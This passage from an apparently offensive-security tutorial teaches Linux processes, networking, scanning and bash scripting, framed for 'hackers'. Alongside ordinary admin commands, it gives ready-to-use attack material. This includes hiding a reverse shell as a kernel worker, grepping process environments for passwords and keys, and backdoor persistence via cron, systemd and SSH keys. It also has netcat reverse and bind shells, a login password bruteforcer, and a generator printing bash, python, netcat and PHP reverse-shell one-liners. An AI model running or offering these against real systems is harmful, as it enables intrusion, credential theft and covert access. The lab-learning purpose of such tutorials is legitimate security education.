# Arrow keys to move, F9 to kill, F10 to quit
# ==================== OTHER PROCESS VIEWING ====================
pstree # Show process hierarchy
pstree -p # Include PIDs
pgrep apache # Get PIDs of apache processes
pidof sshd # Get PID of specific command
Controlling Processes
# ==================== STARTING PROCESSES ====================
./program # Run in foreground (blocks terminal)
./program & # Run in background (terminal free)
nohup ./program & # Run AND survive logout
nohup ./program > output.log 2>&1 & # With output capture
# Using screen/tmux for persistent sessions:
screen # Start new screen session
screen -S hacking # Named session
screen -ls # List sessions
screen -r hacking # Reattach to session
# Ctrl+A, D = Detach (leave running)
tmux # Similar to screen (more modern)
tmux new -s work # New named session
tmux ls # List sessions
tmux attach -t work # Reattach
# ==================== STOPPING PROCESSES ====================
Ctrl+C # Interrupt foreground process (SIGINT)
Ctrl+\ # Quit foreground process (SIGQUIT)
Ctrl+Z # Suspend foreground process (SIGTSTP)
kill PID # Send SIGTERM (polite request to stop)
kill -9 PID # Send SIGKILL (force kill, cannot be caught)
kill -STOP PID # Pause process
kill -CONT PID # Resume paused process
killall apache2 # Kill all processes named apache2
pkill -f "python" # Kill processes matching pattern
pkill -u hacker # Kill all processes owned by hacker
# ==================== BACKGROUND/FOREGROUND ====================
Ctrl+Z # Suspend current foreground process
bg # Resume suspended process in background
fg # Bring background process to foreground
fg %2 # Bring job #2 to foreground
jobs # List background jobs
jobs -l # Include PIDs
# Example workflow:
$ ./long_script.sh
# Realize it's taking forever...
^Z # Ctrl+Z to suspend
[1]+ Stopped ./long_script.sh
$ bg # Resume in background
[1]+ ./long_script.sh &
$ # Terminal is free now!
# ==================== SIGNALS ====================
# Signals are messages sent to processes
kill -l # List all signals
# Important signals:
# 1 SIGHUP - Hangup (reload config)
# 2 SIGINT - Interrupt (Ctrl+C)
# 9 SIGKILL - Kill (cannot be caught or ignored)
# 15 SIGTERM - Terminate (default, polite)
# 19 SIGSTOP - Stop (cannot be caught)
# 18 SIGCONT - Continue
kill -HUP PID # Send hangup (often reloads config)
kill -TERM PID # Send terminate
kill -KILL PID # Force kill (last resort)
Process Information for Hackers
# ==================== /PROC FILESYSTEM ====================
ls /proc/ # Each number is a PID directory
ls /proc/1234/ # Information about PID 1234
# Useful files in /proc/PID/:
cat /proc/1234/cmdline # Command that started it
cat /proc/1234/environ # Environment variables (SECRETS!)
cat /proc/1234/cwd # Current working directory (symlink)
cat /proc/1234/exe # Path to executable (symlink)
cat /proc/1234/maps # Memory map (for exploitation)
cat /proc/1234/fd/ # Open file descriptors
cat /proc/1234/status # Process status (UID, GID, memory)
# Practical: Find secrets in environment variables
strings /proc/*/environ 2>/dev/null | grep -i password
strings /proc/*/environ 2>/dev/null | grep -i key
strings /proc/*/environ 2>/dev/null | grep -i secret
# ==================== HIDING YOUR PROCESSES ====================
# Bad: Visible in ps
./reverse_shell.sh &
# Better: Rename to look legitimate
cp reverse_shell.sh "[kworker/0:1]" # Looks like kernel worker
./[kworker/0:1] &
# Better: Use exec to replace process
exec -a "[kworker/0:1]" ./reverse_shell.sh
# Check what others are running:
ps aux | grep -v "^\[" # Exclude kernel threads
Process Persistence Techniques
Keep your access alive even if your process dies:
- Cron jobs: Schedule your backdoor to run periodically
- systemd service: Create a service that auto-restarts
- rc.local: Add to startup scripts
- ~/.bashrc: Execute when user logs in
- SSH authorized_keys: Add your SSH key for persistent access
Linux Networking: Connecting and Attacking
Network commands are essential for reconnaissance, attacking, and maintaining access. As a hacker, you'll spend more time with these commands than almost any others. From enumerating targets to establishing reverse shells, these are your bread and butter for offensive operations.
Network Interface Information
# ==================== IP ADDRESSES AND INTERFACES ====================
ip a # All interfaces and IPs (modern)
ip addr show eth0 # Specific interface details
ip -c a # Colorized output
ifconfig # Old command, still works
ifconfig eth0 # Specific interface
# Understanding output:
# inet 192.168.1.100/24 = IPv4 address with subnet mask
# inet6 fe80::1/64 = IPv6 address
# ether 00:11:22:33:44:55 = MAC address
# UP BROADCAST RUNNING = Interface is active
# Change interface settings (requires root)
ip link set eth0 down # Disable interface
ip link set eth0 up # Enable interface
ip addr add 192.168.1.50/24 dev eth0 # Add IP address
ip addr del 192.168.1.50/24 dev eth0 # Remove IP address
# MAC address spoofing
ip link set eth0 down
ip link set eth0 address 00:11:22:33:44:55
ip link set eth0 up
# Or use macchanger:
macchanger -r eth0 # Random MAC
macchanger -m 00:11:22:33:44:55 eth0 # Specific MAC
# ==================== ROUTING ====================
ip route # Show routing table (modern)
ip route show # Same thing
route -n # Old format, numeric
netstat -rn # Another way
# Default gateway (how to reach the internet)
ip route | grep default
# default via 192.168.1.1 dev eth0 proto dhcp
# Add routes
ip route add 10.0.0.0/8 via 192.168.1.1 # Route network via gateway
ip route add default via 192.168.1.1 # Set default gateway
ip route del 10.0.0.0/8 # Remove route
DNS and Name Resolution
# ==================== DNS CONFIGURATION ====================
cat /etc/resolv.conf # DNS server configuration
cat /etc/hosts # Local hostname mappings
# ==================== DNS LOOKUP TOOLS ====================
nslookup google.com # Simple lookup
nslookup -type=MX gmail.com # Mail servers
nslookup -type=NS google.com # Name servers
dig google.com # Detailed DNS lookup
dig +short google.com # Just the IP
dig @8.8.8.8 google.com # Use specific DNS server
dig ANY google.com # All record types
dig -x 8.8.8.8 # Reverse lookup (IP to name)
host google.com # Simple lookup
host -t MX gmail.com # Mail servers
# DNS enumeration for hacking
dig axfr @ns1.target.com target.com # Zone transfer (if allowed!)
dnsrecon -d target.com # DNS enumeration
dnsenum target.com # Another DNS enum tool
fierce -dns target.com # DNS bruteforce
Connection and Port Information
# ==================== VIEWING CONNECTIONS ====================
# netstat - classic but being replaced by ss
netstat -tuln # Listening ports (TCP/UDP, numeric)
netstat -tupn # All connections with PIDs
netstat -an # All sockets, numeric
# ss - modern replacement for netstat (faster)
ss -tuln # Listening ports
ss -tupn # All connections with PIDs
ss -s # Socket statistics
ss state established # Only established connections
# Understanding the output:
# Proto Local Address Foreign Address State PID/Program
# tcp 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
# tcp 192.168.1.5:22 192.168.1.100:45678 ESTABLISHED 5678/sshd
# States explained:
# LISTEN = Waiting for connections
# ESTABLISHED = Active connection
# TIME_WAIT = Waiting after close
# CLOSE_WAIT = Remote closed, waiting for local close
# ==================== LSOF - LIST OPEN FILES ====================
lsof -i # All network files
lsof -i :22 # What's using port 22
lsof -i @192.168.1.100 # Connections to specific IP
lsof -i tcp # All TCP connections
lsof -u root -i # Network files by root
# Practical: Find hidden listeners
netstat -tuln | grep LISTEN
ss -tuln | grep LISTEN
lsof -i -P | grep LISTEN
Network Recon Tools
# ==================== PING AND CONNECTIVITY ====================
ping 8.8.8.8 # Test connectivity (ICMP)
ping -c 4 google.com # Only 4 pings
ping -i 0.2 target # Fast ping (0.2 sec interval)
# Ping sweep (find alive hosts)
for i in $(seq 1 254); do
ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i is up" &
done; wait
# Or use fping (faster)
fping -a -g 192.168.1.0/24 2>/dev/null
# ==================== TRACEROUTE ====================
traceroute google.com # Trace network path
traceroute -n google.com # Numeric (no DNS lookup)
traceroute -T google.com # TCP instead of UDP
mtr google.com # Continuous traceroute (interactive)
# ==================== NMAP - THE KING OF SCANNERS ====================
# Host discovery
nmap -sn 192.168.1.0/24 # Ping sweep (no port scan)
nmap -Pn target # Skip ping, assume host is up
# Port scanning
nmap target # Default (top 1000 ports)
nmap -p 22,80,443 target # Specific ports
nmap -p- target # All 65535 ports
nmap -p 1-1000 target # Port range
nmap --top-ports 100 target # Top 100 ports
# Scan types
nmap -sT target # TCP connect (full handshake)
nmap -sS target # SYN scan (stealth, needs root)
nmap -sU target # UDP scan (slow!)
nmap -sV target # Version detection
nmap -sC target # Default scripts
nmap -O target # OS detection
# Combined scans
nmap -sV -sC -O target # Version + scripts + OS
nmap -A target # Aggressive (all of above)
nmap -sS -sV -sC -p- -T4 target # Comprehensive scan
# Output formats
nmap -oN output.txt target # Normal output
nmap -oX output.xml target # XML output
nmap -oG output.gnmap target # Grepable output
nmap -oA output target # All formats
# Scripting engine (NSE)
nmap --script vuln target # Vulnerability scripts
nmap --script http-* target # All HTTP scripts
nmap --script smb-vuln* target # SMB vulnerabilities
Data Transfer and Remote Access
# ==================== CURL - SWISS ARMY KNIFE ====================
curl http://example.com # Fetch page
curl -o file.html http://example.com # Save to file
curl -O http://example.com/file.zip # Save with original name
curl -I http://example.com # Headers only
curl -v http://example.com # Verbose (see headers)
curl -X POST -d "data=value" URL # POST request
curl -u user:pass http://example.com # Basic auth
curl -k https://example.com # Ignore SSL errors
curl -L http://example.com # Follow redirects
curl -b "cookie=value" http://example.com # Send cookies
# ==================== WGET - DOWNLOAD MANAGER ====================
wget http://example.com/file.zip # Download file
wget -O newname.zip URL # Save with different name
wget -c URL # Continue interrupted download
wget -r http://example.com # Recursive download (mirror)
wget -q URL # Quiet mode
wget --spider URL # Just check if exists
# ==================== SECURE COPY (SCP) ====================
scp file.txt user@host:/path/ # Upload file
scp user@host:/path/file.txt ./ # Download file
scp -r folder/ user@host:/path/ # Copy directory
scp -P 2222 file.txt user@host:/ # Custom SSH port
# ==================== SSH - SECURE SHELL ====================
ssh user@host # Connect
ssh -p 2222 user@host # Custom port
ssh -i key.pem user@host # Use private key
# SSH port forwarding (CRUCIAL for hacking!)
# Local port forward: Access remote service through local port
ssh -L 8080:localhost:80 user@host
# Now http://localhost:8080 goes to host's port 80
# Remote port forward: Expose local service to remote host
ssh -R 9999:localhost:22 user@host
# Now host can ssh to localhost:9999 to reach your machine
# Dynamic (SOCKS proxy)
ssh -D 9050 user@host
# Now configure browser/tools to use SOCKS proxy on 9050
# SSH through jump host
ssh -J jumphost user@target
# ==================== NETCAT - THE HACKER'S FRIEND ====================
# Connect to port
nc host 80 # Connect to host:80
echo "GET /" | nc host 80 # Send HTTP request
# Listen on port
nc -lvnp 4444 # Listen on port 4444
# Transfer files
nc -lvnp 4444 > received.txt # Receiver
nc host 4444 < file.txt # Sender
# Reverse shell (classic)
nc -e /bin/bash attacker 4444 # On target (if nc has -e)
nc -lvnp 4444 # On attacker
# Bind shell
nc -lvnp 4444 -e /bin/bash # On target (if nc has -e)
nc target 4444 # On attacker
Packet Capture and Analysis
# ==================== TCPDUMP - COMMAND LINE SNIFFER ====================
tcpdump # Capture all traffic
tcpdump -i eth0 # Specific interface
tcpdump -n # No DNS resolution (faster)
tcpdump -v # Verbose
tcpdump -X # Show packet contents in hex/ASCII
# Filters
tcpdump host 192.168.1.100 # Traffic to/from host
tcpdump src 192.168.1.100 # Only from this host
tcpdump dst 192.168.1.100 # Only to this host
tcpdump port 80 # HTTP traffic
tcpdump "port 80 or port 443" # HTTP or HTTPS
tcpdump tcp # Only TCP
tcpdump icmp # Only ICMP (ping)
# Save to file
tcpdump -w capture.pcap # Write to file
tcpdump -r capture.pcap # Read from file
# Practical captures
tcpdump -i eth0 port 80 -A # See HTTP content
tcpdump -i eth0 'tcp[13] & 2 != 0' # SYN packets only
# ==================== WIRESHARK (GRAPHICAL) ====================
wireshark # GUI packet analyzer
tshark # Command-line Wireshark
tshark -i eth0 -f "port 80" # Capture HTTP
⚠️ Legal Warning
Network scanning and packet capture on networks you don't own or have explicit permission to test is illegal in most jurisdictions. Always:
- Get written permission before scanning
- Use only in authorized lab environments
- Understand your local laws
- Document your authorization
Bash Scripting: Automation for Hackers
Scripts automate repetitive tasks and amplify your capabilities. Whether it's reconnaissance, exploitation, post-exploitation, or data exfiltration, scripting turns hours of manual work into seconds of automated execution. This is where you go from "user" to "power user" to "dangerous adversary."
Script Basics and Structure
#!/bin/bash
# ==================== THE SHEBANG ====================
# The first line (#!/bin/bash) tells Linux which interpreter to use
# Other options:
#!/bin/sh # POSIX shell (more portable)
#!/usr/bin/env bash # Find bash in PATH (most portable)
#!/usr/bin/python3 # Python script
# ==================== MAKING SCRIPTS EXECUTABLE ====================
chmod +x script.sh # Add execute permission
./script.sh # Run the script
bash script.sh # Or run with bash directly
# ==================== VARIABLES ====================
name="hacker" # No spaces around =
target_ip="192.168.1.1" # Use descriptive names
port_range="1-1000"
echo "Hello, $name" # Variables with $
echo "Scanning ${target_ip}:${port_range}" # Braces for clarity
# Command substitution - store command output
current_date=$(date)
my_ip=$(hostname -I | awk '{print $1}')
open_ports=$(nmap -p- $target_ip | grep open)
# Read-only variables
readonly API_KEY="secret123"
API_KEY="new" # Error! Can't change readonly
# ==================== USER INPUT ====================
read -p "Enter target IP: " target
echo "You entered: $target"
read -sp "Enter password: " password # -s = silent (no echo)
echo ""
read -t 5 -p "Quick! Enter value (5 sec): " quick_value # Timeout
# ==================== SPECIAL VARIABLES ====================
$0 # Script name
$1, $2, $3 # Positional parameters (arguments)
$# # Number of arguments
$@ # All arguments as separate words
$* # All arguments as single string
$? # Exit status of last command
$$ # Current script's PID
$! # PID of last background command
# Example:
# ./script.sh target1 target2 target3
# $0 = ./script.sh
# $1 = target1
# $2 = target2
# $# = 3
Conditionals and Logic
# ==================== IF STATEMENTS ====================
if [ condition ]; then
# commands
elif [ condition ]; then
# commands
else
# commands
fi
# ==================== FILE TESTS ====================
if [ -f "/etc/passwd" ]; then
echo "File exists!"
fi
# Common file tests:
[ -f file ] # Regular file exists
[ -d dir ] # Directory exists
[ -e path ] # Anything exists
[ -r file ] # File is readable
[ -w file ] # File is writable
[ -x file ] # File is executable
[ -s file ] # File is not empty
[ -L file ] # File is symlink
# ==================== STRING TESTS ====================
if [ "$name" = "hacker" ]; then
echo "Welcome, hacker!"
fi
[ "$a" = "$b" ] # Strings are equal
[ "$a" != "$b" ] # Strings not equal
[ -z "$a" ] # String is empty
[ -n "$a" ] # String is not empty
# ==================== NUMERIC COMPARISONS ====================
if [ $port -eq 22 ]; then
echo "SSH port!"
fi
[ $a -eq $b ] # Equal
[ $a -ne $b ] # Not equal
[ $a -lt $b ] # Less than
[ $a -le $b ] # Less than or equal
[ $a -gt $b ] # Greater than
[ $a -ge $b ] # Greater than or equal
# ==================== LOGICAL OPERATORS ====================
# AND
if [ -f file ] && [ -r file ]; then
echo "File exists and is readable"
fi
# OR
if [ $port -eq 80 ] || [ $port -eq 443 ]; then
echo "Web port"
fi
# NOT
if [ ! -f file ]; then
echo "File does not exist"
fi
# ==================== CASE STATEMENTS ====================
case $protocol in
http)
port=80
;;
https)
port=443
;;
ssh)
port=22
;;
*)
port=0
echo "Unknown protocol"
;;
esac
Loops and Iteration
# ==================== FOR LOOPS ====================
# Basic syntax
for item in list; do
# commands
done
# Loop through list
for ip in 192.168.1.1 192.168.1.2 192.168.1.3; do
echo "Scanning $ip"
done
# Brace expansion (super useful!)
for i in {1..10}; do
echo "Number: $i"
done
for ip in 192.168.1.{1..254}; do
ping -c 1 -W 1 $ip &>/dev/null && echo "$ip is up"
done
# C-style for loop
for ((i=1; i<=100; i++)); do
echo "Iteration $i"
done
# Loop through command output
for file in $(ls *.txt); do
echo "Processing $file"
done
# Loop through file lines
while read line; do
echo "$line"
done < /etc/passwd
# ==================== WHILE LOOPS ====================
counter=0
while [ $counter -lt 10 ]; do
echo "Count: $counter"
((counter++))
done
# Infinite loop (useful for monitoring)
while true; do
echo "Running..."
sleep 60
done
# Read file line by line
while IFS= read -r line; do
echo "Line: $line"
done < file.txt
# ==================== UNTIL LOOPS ====================
until [ -f /tmp/signal ]; do
echo "Waiting for signal file..."
sleep 5
done
# ==================== LOOP CONTROL ====================
break # Exit the loop immediately
continue # Skip to next iteration
Functions and Organization
# ==================== DEFINING FUNCTIONS ====================
# Simple function
scan_host() {
ping -c 1 -W 1 $1 &>/dev/null && echo "$1 is up" || echo "$1 is down"
}
# Call the function
scan_host 192.168.1.1
scan_host 192.168.1.2
# Function with multiple parameters
scan_port() {
local host=$1
local port=$2
timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] $host:$port is open"
return 0
else
echo "[-] $host:$port is closed"
return 1
fi
}
# Call with parameters
scan_port 192.168.1.1 22
scan_port 192.168.1.1 80
# ==================== LOCAL VARIABLES ====================
my_function() {
local my_var="only visible inside function"
global_var="visible everywhere"
}
# ==================== RETURN VALUES ====================
is_alive() {
ping -c 1 -W 1 $1 &>/dev/null
return $? # Return ping's exit code
}
if is_alive 192.168.1.1; then
echo "Host is up!"
fi
# ==================== CAPTURING OUTPUT ====================
get_ip() {
hostname -I | awk '{print $1}'
}
my_ip=$(get_ip)
echo "My IP is: $my_ip"
Practical Hacking Scripts
#!/bin/bash
# ==================== NETWORK SCANNER ====================
echo "=== Network Scanner ==="
echo "Scanning 192.168.1.0/24..."
for ip in 192.168.1.{1..254}; do
ping -c 1 -W 1 $ip &>/dev/null && echo "[+] $ip is alive" &
done
wait
echo "=== Scan Complete ==="
# ==================== PORT SCANNER ====================
#!/bin/bash
target=$1
start_port=${2:-1}
end_port=${3:-1024}
echo "Scanning $target ports $start_port-$end_port"
for port in $(seq $start_port $end_port); do
timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null
if [ $? -eq 0 ]; then
echo "[OPEN] Port $port"
fi
done
# ==================== PASSWORD BRUTEFORCER (EDUCATIONAL) ====================
#!/bin/bash
target=$1
username=$2
wordlist=$3
while read password; do
response=$(curl -s -d "user=$username&pass=$password" $target/login)
if [[ ! "$response" =~ "failed" ]]; then
echo "[+] Found password: $password"
exit 0
fi
done < "$wordlist"
echo "[-] Password not found"
# ==================== REVERSE SHELL GENERATOR ====================
#!/bin/bash
echo "Reverse Shell Generator"
read -p "Your IP: " ip
read -p "Your Port: " port
echo ""
echo "=== Bash ==="
echo "bash -i >& /dev/tcp/$ip/$port 0>&1"
echo ""
echo "=== Python ==="
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
echo ""
echo "=== Netcat ==="
echo "nc -e /bin/bash $ip $port"
echo ""
echo "=== PHP ==="
echo "php -r '\$sock=fsockopen(\"$ip\",$port);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"
# ==================== ENUMERATION SCRIPT ====================
#!/bin/bash
echo "=== System Enumeration ==="
echo "[*] Hostname: $(hostname)"
echo "[*] Kernel: $(uname -a)"
echo "[*] Current User: $(whoami)"
echo "[*] User ID: $(id)"
echo ""
echo "[*] Network Interfaces:"
ip a 2>/dev/null || ifconfig
echo ""
echo "[*] Listening Ports:"
netstat -tuln 2>/dev/null || ss -tuln
echo ""
echo "[*] SUID Binaries:"
find / -perm -4000 -type f 2>/dev/null
echo ""
echo "[*] World-Writable Files:"
find / -perm -2 -type f 2>/dev/null | head -20
echo ""
echo "[*] Interesting Files:"
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
Error Handling and Best Practices
# ==================== EXIT CODES ====================
# 0 = success, non-zero = failure
exit 0 # Success
exit 1 # Generic error
exit 2 # Misuse of command
# Check last command's exit code
command
if [ $? -eq 0 ]; then
echo "Command succeeded"
else
echo "Command failed with code $?"
fi
# ==================== ERROR HANDLING ====================
set -e # Exit on any error
set -u # Exit on undefined variable
set -o pipefail # Catch errors in pipes
set -x # Debug: print each command
# Combined (put at top of scripts):
set -euo pipefail
# Or handle errors manually
command || { echo "Error!"; exit 1; }
command || exit 1
# ==================== DEBUGGING ====================
# Add -x to shebang
#!/bin/bash -x
# Or enable/disable in script
set -x # Enable debug
# ... code ...
set +x # Disable debug
# ==================== INPUT VALIDATION ====================
if [ $# -lt 2 ]; then
echo "Usage: $0
"
exit 1
fi
# Validate IP format
if [[ ! $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "Invalid IP address"
exit 1
fi
# ==================== CLEANUP ====================
# Trap signals for cleanup
cleanup() {
echo "Cleaning up..."
rm -f /tmp/tempfile
kill $background_pid 2>/dev/null
}
trap cleanup EXIT # Run on script exit
trap cleanup INT # Run on Ctrl+C
trap cleanup TERM # Run on kill
Script Development Tips
- Start simple: Get it working, then optimize
- Test often: Run after each change
- Comment everything: Future you will thank you
- Use functions: Reusable, testable code
- Handle errors: Expect things to fail
- Validate input: Never trust user input
- Use ShellCheck: shellcheck script.sh catches bugs
📚 Practice Resources
- OverTheWire: Bandit - Learn bash through challenges
- HackTheBox - Real-world scripting scenarios
- PicoCTF - CTF challenges requiring scripts
- explainshell.com - Understand complex commands
🔧 Essential Tools
- ShellCheck - Bash script linter
- vim/nano - Terminal text editors
- tmux/screen - Terminal multiplexer
- git - Version control your scripts